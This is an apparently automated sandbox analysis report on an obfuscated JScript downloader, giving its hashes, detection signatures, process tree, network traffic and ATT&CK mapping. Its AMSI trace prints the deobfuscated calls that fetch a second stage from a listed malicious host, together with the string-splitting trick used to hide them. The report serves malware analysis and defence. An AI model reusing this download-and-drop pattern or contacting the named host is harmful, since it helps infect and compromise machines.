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Windows Analysis Report
G9Z66ZF3Y370FN9E.js

Overview

General Information

Sample name:	G9Z66ZF3Y370FN9E.js
Analysis ID:	1541954
MD5:	b4b15b179e04cc1c1c41912139cf5495
SHA1:	5ecd8c64642adaf1e3a351ce1691308548ff081e
SHA256:	281d7a64e1556e677d4c355bd7521ce7d1e9265e27cd255ca9f530114dde9e37
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1896 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cleanup

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 79.98.25.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 1896, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js", ProcessId: 1896, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 79.98.25.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 1896, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js", ProcessId: 1896, ProcessName: wscript.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: G9Z66ZF3Y370FN9E.js

Avira: detected

Multi AV Scanner detection for submitted file

Source: G9Z66ZF3Y370FN9E.js

ReversingLabs: Detection: 68%

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 79.98.25.1 80

Jump to behavior

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: G9Z66ZF3Y370FN9E.js	Argument value : ['"GET","http://mokinukai.lt/x4szqe",false']	Go to definition
Source: G9Z66ZF3Y370FN9E.js	Argument value : ['"User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"']	Go to definition
Source: G9Z66ZF3Y370FN9E.js	Return value : ['"send"']	Go to definition
Source: G9Z66ZF3Y370FN9E.js	Return value : ['"MSXML2.XMLHTTP"', '"send"']	Go to definition
Source: G9Z66ZF3Y370FN9E.js	Return value : ['"MSXML2.XMLHTTP"', '"send"']	Go to definition
Source: G9Z66ZF3Y370FN9E.js	Return value : ['"MSXML2.XMLHTTP"']	Go to definition

Source: Joe Sandbox View

IP Address: 79.98.25.1 79.98.25.1

Source: Joe Sandbox View

ASN Name: RACKRAYUABRakrejusLT RACKRAYUABRakrejusLT

Source: global traffic

HTTP traffic detected: GET /x4szqe HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: mokinukai.ltConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 09:06:15 GMTServer: ApacheCache-control: max-age=300Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 1756Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d5 58 bb 92 1b c7 15 cd 5d e5 7f 68 c1 89 24 ef 00 d8 a5 48 2d 29 00 2e bb 56 65 b3 4c b2 60 d1 54 ea 6a 60 1a c0 c5 f4 74 8f fb 81 25 18 39 71 e8 c8 c1 96 c3 8d 19 2a 57 b4 f8 11 7f 89 cf 9d 07 30 0b 80 8f 02 e5 57 34 3d d3 dd e7 3e fa 3e 4e cf e0 b3 d4 4e c3 ba 50 62 11 72 3d fa f9 cf 06 f5 53 0c 16 4a a6 3c 10 83 5c 05 89 f9 50 24 ea cf 91 56 c3 ce d4 9a a0 4c 48 78 63 47 d4 6f c3 4e 50 af 43 8f f7 7f 23 a6 0b e9 bc 0a c3 18 66 c9 65 a7 05 63 64 ae 86 1d 67 27 36 f8 d6 56 63 c9 a4 ea f5 99 30 76 66 b5 b6 d7 87 7b 56 a4 ae 0b eb 42 6b d7 35 a5 61 31 bc ec f7 cf 44 2e 5f 53 1e f3 c4 4f a5 56 c3 f3 c3 ed 61 a1 72 95 4c ad b6 ae 85 f0 8b 7e ff e1 54 3e 68 2f a7 a0 f2 c2 d9 62 d8 a1 5c ce db f6 b1 0b fc 93 5e 4f 7a 98 e6 bb b4 ea ea d0 2b 17 f9 5e 58 c4 7c 62 24 e9 6e 61 e6 6d 38 86 52 2e ac 87 1d 3b 7f f2 a9 88 9a 4c 26 9c d2 d0 0d 18 1d e1 e9 8d f2 c3 ce e3 47 af 1f 3f ea 88 85 53 b3 f7 63 f2 ae a3 70 b2 28 b4 4a 82 8d d3 45 52 41 7f 02 98 0f 6b ad fc 42 29 9c 15 87 48 1d 19 53 ef df 0b 9b aa 99 8c 3a 74 79 5d 05 19 28 68 35 ca 6d 46 26 66 92 b0 48 24 e2 d5 e6 47 a7 e6 e4 83 8b 36 48 2f 52 9b 2b 83 67 22 9e c2 ab ce a8 60 c5 8a de d0 52 0e 7a 15 00 47 73 af 09 e7 c1 c4 a6 6b 0c 10 ea 9f 25 89 98 00 ca 08 9e 54 4e 24 49 39 c1 92 e5 44 2b 21 35 cd cd 70 aa 18 57 4c 95 d6 85 4c 53 32 f3 61 bf 7c f3 85 9c 96 6f a5 b6 d8 e4 aa 01 46 69 3d 12 03 9a 39 c4 9f f0 6e fa 0e b3 2b d9 5d ce 9b 8e a8 22 fa eb 47 97 50 89 e6 8b 30 3c ef f7 85 9f 3a e4 04 4b 32 56 94 70 13 eb b0 07 82 07 bd 0a bf 11 dc 6b 24 63 e4 76 6a 41 a1 06 f0 e2 ab 51 b9 6a bb 00 03 36 76 e7 12 65 d2 3d 87 b4 3c c5 de 3b f0 d3 4e eb 9f c2 63 8b f3 7b 47 8e a3 3b df ce 15 ef 37 54 ac 2a 05 82 2d 76 c0 b5 7a 0f fb 97 0d cc 55 1d 32 83 c9 9e a4 c9 48 f8 bb 9b 2c 87 8e 92 44 dc 8b b4 bd f8 b2 5e 64 9a 60 2a de a5 4b a3 20 27 36 b7 14 ad 40 e2 47 b1 76 48 7e d2 c8 60 21 b3 b0 5e 55 18 13 45 a2 90 00 dc dc f2 ab 91 31 b5 4b 54 2e ea ee 9b 08 47 5c 8c 5e 58 87 7a 24 a0 a1 53 54 04 12 6d 7d 7f 05 d7 5c 1c b8 46 0c a2 6e 86 9c 95 a3 b1 23 4f cb 68 32 46 2a 1c 21 18 e5 ca 42 0b 9f ad 1d 8c 18 48 11 a4 9b a3 5a ff 09 7e db cb d0 ca 42 99 37 d1 da 19 55 5f 36 3f a0 f8 78 94 4a bb 54 83 9e 1c 7d d3 96 18 48 79 c1 e8 14 73 12 9d b1 f4 5a c6 b9 45 fa 43 28 39 aa 54 31 d1 3a 9b de fd 15 39 32 1a 6b 79 f7 37 92 b1 db ed 22 a4 ef a3 b5 f7 94 c9 ce ba af 24 c2 8a 72 ec 86 d7 b1 a2 90 d1 97 2b f2 f5 3c c4 ac 42 7d d1 b8 8d 31 b7 0e ee ed fc b3 73 da 98 41 33 45 81 72 98 d6 d4 94 c2 c9 f4 ee c6 8b 95 a2 0c ce 47 21 17 e7 1c 63 c7 0f eb a9 da dc 66 16 3a 64 91 75 0a 52 17 64 3e ee cc 5e ae d0 2b 60 10 64 57 db 50 63 bd 90 6e 22 05 ac 92 84 63 b1 3e 70 58 7a f1 b9 34 73 dd 65 fb ae d5 a4 f9 ce 16 7e 21 fe f9 97 bf 63 3f 47 d8 1c 1e 63 0f 21 e2 36 6f 5

Source: global traffic

DNS traffic detected: DNS query: mokinukai.lt

Source: wscript.exe, 00000000.00000003.2068326113.000002A782FE4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068474138.000002A781568000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2070594412.000002A78156E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068376106.000002A78155F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2069190978.000002A782FE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mokinukai.lt/x4szqe
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068173045.000002A782FED000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://assets.iv.lt/default.css
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://assets.iv.lt/footer.html
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068173045.000002A782FED000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://assets.iv.lt/header.html
Source: x4szqe[1].htm.0.dr	String found in binary or memory: https://assets.iv.lt/images/icon.png
Source: x4szqe[1].htm.0.dr	String found in binary or memory: https://assets.iv.lt/images/thumbnail.png
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068173045.000002A782FED000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://klientams.iv.lt/
Source: wscript.exe, 00000000.00000002.2070858012.000002A78354A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2069019790.000002A78354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/domenai/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/el-pasto-filtras/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/neribotas-svetainiu-talpinimas/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/profesionalus-hostingas/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/sertifikatai/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/svetainiu-kurimo-irankis/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/talpinimo-planai/
Source: wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	String found in binary or memory: https://www.iv.lt/vps-serveriai/

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior

Source: G9Z66ZF3Y370FN9E.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal88.evad.winJS@1/1@1/1

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\x4szqe[1].htm

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: G9Z66ZF3Y370FN9E.js

ReversingLabs: Detection: 68%

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("Z:\syscalls\8690.js.csv");IWshShell3._00000000();ITextStream.WriteLine(" entry:2467 o: f:ExpandEnvironmentStrings a0:%22%25TEMP%25%2F%22");IWshShell3.ExpandEnvironmentStrings("%TEMP%/");IWshShell3._00000000();ITextStream.WriteLine(" exit:2467 o: f:ExpandEnvironmentStrings r:%22C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5CTemp%2F%22");ITextStream.WriteLine(" entry:2489 o:%22M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP%22 f:DeadAstronautInSpaceBXv3");ITextStream.WriteLine(" exec:8 f:");ITextStream.WriteLine(" entry:13 o:M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP f:split a0:%22%2C%22");ITextStream.WriteLine(" exit:13 o:M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP f:split r:M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP");ITextStream.WriteLine(" entry:11 o:M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP f:join a0:%22%22");ITextStream.WriteLine(" exit:11 o:M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP f:join r:%22MSXML2.XMLHTTP%22");ITextStream.WriteLine(" exit:2489 o:%22M%2CS%2CX%2CM%2CL%2C2%2C.%2CX%2CM%2CL%2CH%2CT%2CT%2CP%22 f:DeadAstronautInSpaceBXv3 r:%22MSXML2.XMLHTTP%22");ITextStream.WriteLine(" entry:2581 o:%22G%2CE%2CT%22 f:DeadAstronautInSpaceBXv3");ITextStream.WriteLine(" exec:8 f:");ITextStream.WriteLine(" entry:13 o:G%2CE%2CT f:split a0:%22%2C%22");ITextStream.WriteLine(" exit:13 o:G%2CE%2CT f:split r:G%2CE%2CT");ITextStream.WriteLine(" entry:11 o:G%2CE%2CT f:join a0:%22%22");ITextStream.WriteLine(" exit:11 o:G%2CE%2CT f:join r:%22GET%22");ITextStream.WriteLine(" exit:2581 o:%22G%2CE%2CT%22 f:DeadAstronautInSpaceBXv3 r:%22GET%22");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:2575 o: f:open a0:%22GET%22 a1:%22http%3A%2F%2Fmokinukai.lt%2Fx4szqe%22 a2:false");IServerXMLHTTPRequest2.open("GET", "http://mokinukai.lt/x4szqe", "false");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:2575 o: f:open r:undefined");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:2592 o: f:setRequestHeader a0:%22User-Agent%22 a1:%22Mozilla%2F4.0%20(compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.0)%22");IServerXMLHTTPRequest2.setRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:2592 o: f:setRequestHeader r:undefined");ITextStream.WriteLine(" entry:2604 o:%22s%2Ce%2Cn%2Cd%22 f:DeadAstronautInSpaceBXv3");ITextStream.WriteLine(" exec:8 f:");ITextStream.WriteLine(" entry:13 o:s%2Ce%2Cn%2Cd f:split a0:%22%2C%22");ITextStream.WriteLine(" exit:13 o:s%2Ce%2Cn%2Cd f:split r:s%2Ce%2Cn%2Cd");ITextStream.WriteLine(" entry:11 o:s%2Ce%2Cn%2Cd f:join a0:%22%22");ITextStream.WriteLine(" exit:11 o:s%2Ce%2Cn%2Cd f:join r:%22send%22");ITextStream.WriteLine(" exit:2604 o:%22s%2Ce%2Cn%2Cd%22 f:DeadAstronautInSpaceBXv3 r:%22send%22");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:2600 o: f:send");IServerXMLHTTPRequest2.send()

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: wscript.exe, 00000000.00000002.2070819715.000002A783520000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0RX
Source: wscript.exe, 00000000.00000003.2069364794.000002A78355B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2070610524.000002A78157D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068495136.000002A781577000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2070922645.000002A78355E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068474138.000002A781568000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2069019790.000002A78355A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068376106.000002A78155F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 79.98.25.1 80

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	Windows Management Instrumentation	22 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	3 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	LSASS Memory	2 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	13 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
G9Z66ZF3Y370FN9E.js	69%	ReversingLabs	Script-JS.Downloader.Nemucod
G9Z66ZF3Y370FN9E.js	100%	Avira	JS/Dldr.Agent.VUC

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mokinukai.lt	79.98.25.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mokinukai.lt/x4szqe	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://assets.iv.lt/default.css	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068173045.000002A782FED000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://assets.iv.lt/header.html	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068173045.000002A782FED000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://assets.iv.lt/images/icon.png	x4szqe[1].htm.0.dr	false	unknown
https://assets.iv.lt/footer.html	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://assets.iv.lt/images/thumbnail.png	x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/vps-serveriai/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/neribotas-svetainiu-talpinimas/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://klientams.iv.lt/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068173045.000002A782FED000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/svetainiu-kurimo-irankis/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/profesionalus-hostingas/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/talpinimo-planai/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/el-pasto-filtras/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/domenai/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown
https://www.iv.lt/sertifikatai/	wscript.exe, 00000000.00000003.2068853819.000002A783645000.00000004.00000020.00020000.00000000.sdmp, x4szqe[1].htm.0.dr	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
79.98.25.1	mokinukai.lt	Lithuania		62282	RACKRAYUABRakrejusLT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541954
Start date and time:	2024-10-25 11:05:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	G9Z66ZF3Y370FN9E.js
Detection:	MAL
Classification:	mal88.evad.winJS@1/1@1/1
Cookbook Comments:	Found application associated with file extension: .js Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
